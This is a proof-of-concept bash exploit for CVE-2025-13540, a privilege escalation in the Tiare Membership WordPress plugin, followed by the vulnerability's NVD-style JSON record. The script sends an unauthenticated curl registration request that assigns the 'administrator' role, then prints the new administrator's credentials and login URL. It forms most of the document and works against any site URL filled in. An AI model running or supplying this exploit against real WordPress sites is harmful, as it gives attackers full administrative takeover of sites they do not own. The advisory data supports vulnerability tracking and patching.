CVE-2025-13540

#!/bin/bash # CVE-2025-13540 PoC - Tiare Membership Plugin Privilege Escalation # Target: WordPress site with Tiare Membership plugin <= 1.2 TARGET_URL="http://target-wordpress-site.com" API_ENDPOINT="$TARGET_URL/wp-json/wp/v2/users/register" # Generate random username and password USERNAME="attacker_$(date +%s)" PASSWORD="P@ssw0rd123!" EMAIL="[email protected]" echo "[+] Exploiting CVE-2025-13540: Tiare Membership Privilege Escalation" echo "[+] Target: $TARGET_URL" echo "[+] Registering user with administrator role..." # Send malicious registration request with administrator role curl -X POST "$API_ENDPOINT" \ -H "Content-Type: application/json" \ -d "{ \"username\": \"$USERNAME\", \"password\": \"$PASSWORD\", \"email\": \"$EMAIL\", \"role\": \"administrator\" }" \ -v echo "" echo "[+] If successful, you can now login at $TARGET_URL/wp-admin" echo "[+] Username: $USERNAME" echo "[+] Password: $PASSWORD"

{"cve": {"id": "CVE-2025-13540", "sourceIdentifier": "[email protected]", "published": "2025-11-27T05:16:14.293", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Tiare Membership plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2. This is due to the 'tiare_membership_init_rest_api_register' function not restricting what user roles a user can register with. This makes it possible for unauthenticated attackers to supply the 'administrator' role during registration and gain administrator access to the site."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://themeforest.net/item/tiare-wedding-vendor-directory-theme/26589165?s_rank=1", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6cf01a38-1fba-4c93-b3fa-acfdd5b19410?source=cve", "source": "[email protected]"}]}}